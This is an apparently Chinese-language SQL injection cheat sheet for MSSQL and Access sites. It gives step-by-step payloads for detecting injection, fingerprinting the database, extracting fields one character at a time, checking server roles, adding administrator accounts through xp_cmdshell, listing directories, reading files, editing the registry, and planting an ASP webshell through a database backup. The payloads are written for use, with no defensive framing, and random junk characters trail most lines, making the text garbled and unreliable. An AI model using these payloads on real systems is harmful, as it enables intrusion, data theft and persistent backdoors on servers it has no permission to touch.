1.判断是否有注入;and 1=1 ;and 1=2 &h,5:u
2.初步判断是否是mssql ;and user>0 N8`4veVBx'
&X]\)`j0
3.注入参数是字符'and [查询条件] and ''=' U70]!EaT
ow' lRHZ
4.搜索时没过滤参数的'and [查询条件] and '%25'=' WmQ01v
`j9$T:`
5.判断数据库系统 vkRi5!bR
M#@aB"@J>
;and (select count(*) from sysobjects)>0 mssql 1lnU77;
8g>b
;and (select count(*) from msysobjects)>0 access U`x bPQ
6R29$D|HFO
w_iam qe,
^R$'eG 4L?
6.猜数据库 ;and (select Count(*) from [数据库名])>0 h
!(>7/Gi
1SV^ ){5I
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ,s^<X85gp\
Y3ZK%OyPR
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 j,2l8?
b( ^^m:(w
9.(1)猜字段的ascii值(access) VIR. yh
te4= S
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2n`Lg4=
H_IGFZ Ch
(2)猜字段的ascii值(mssql) %:qoV0DR
1[;@AE2Y
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 8 )\M:s~7&
'7im
10.测试权限结构(mssql) 7>
Pgc
p&K\]l}
fH8!YQG8$
]PNowS\
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- b]]N{: I
|H ;+1
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- kYxS~Kd<
i3
)xX@3
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- qU[O1bN
cVq}c?
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- S C_|A9
>AI<60/<
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- u:`y]
aN^IP
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Nl8 gK{
*[kx F*^
;and 1=(select IS_MEMBER('db_owner'));-- %>XN%t'6aT
f8:$G.}i
]i8c\UV \
y>(rZ^y&
11.添加mssql和系统的帐户 N)43};e
w&lZ42(mF
;exec master.dbo.sp_addlogin username;-- !g0cC.'
;exec master.dbo.sp_password null,username,password;-- mT_GrIl[
-rDz~M+
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Ls:=A6AGM
Ud3""C5B
;exec master.dbo.xp_cmdshell 'net user username password \/Ij7nD`l%
j.QHkI1.
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- GzdgL"M[
&P n]
;exec master.dbo.xp_cmdshell 'net user username password /add';-- c#q"\"
A'"-m)1P
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- !z=pP$81
M g!ra"
1| xN%27>
;1LG&h,K
12.(1)遍历目录 d~[UXQC
gGKKs&n7
;create table dirs(paths varchar(100), id int) ~+m,im8}
@
u1Q-:
;insert dirs exec master.dbo.xp_dirtree 'c:\' Tj,2r]g`<
+?e}<#vd'?
;and (select top 1 paths from dirs)>0 4
10:%WGc
r69WD
.
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) yzc pG6,
POBpJg
VC=6uB
UpeQOC
(2)遍历目录 %\yK5V5
# ,P(isEZ"
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- zPQ$\$7xB
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $j
!8?
`D)S-7BR
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 sfC@*Y2XT
]7F)bIG[
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 FR' b`Xv:
^I./L)0=}
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ;xW{Ehq-h
/.-m}0h|W-
gDhl-
'
C6:e?R
13.mssql中的存储过程 k6g|7^es2
oUS,+e
xp_regenumvalues 注册表根键, 子键 td/5Bmj
QX/]gX
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 'WzUu MCx
sWW\bK0B4
xp_regread 根键,子键,键值名 D'?]yyrf
./)j5M
;exec xp_regread dp< auA
Hf.xd.Yw
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 eU"mG3__
3dXyKi
xp_regwrite 根键,子键, 值名, 值类型, 值 QQqWJq~
GMFp,Df
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 d"$ \fL
^}9Aq $R
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6zyozJA
MSw/_{
xp_regdeletevalue 根键,子键,值名 'H+pwp"M@
LTrn$k3}
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 *2@Ne[dYEF
R:=i/P/
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 NFsMc0{
U1B5gjN
w+ bMDp
"{|9Yis=
14.mssql的backup创建webshell 74QWGw`,
)'92{-A0
use model wOINcEdx
6:J @
create table cmd(str image); tFXG4+$D
5WY..60K,
insert into cmd(str) values (''); "h\{PoG
wC;N*0Th
backup database model to disk='c:\l.asp'; Z3=t"
^qGH77#z
WC0@g5;1[
3Cq17A 9
15.mssql内置函数 s+9q:
&!a[rvtZ+
;and (select @@version)>0 获得Windows的版本号 EPW
Iu)A
`
Y"Rh[C
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Q lql(*
%/jmQ6z^
;and (select user_name())>0 爆当前系统的连接用户 sLPFeibof5
xqX~nV#TB
;and (select db_name())>0 得到当前连接的数据库 i e%ZX
=DUsQN!
_"Y;E
YB.r-c"Y
16.简洁的webshell e%o6s+"
^7V9\Q9
use model Xb5n;=)
Q];+?Pu.
create table cmd(str image); OANn!nZ.
fo^M`a!va0
insert into cmd(str) values (''); \@3i=!
y;3vr1?
backup database model to disk='g:\wwwtest\l.asp';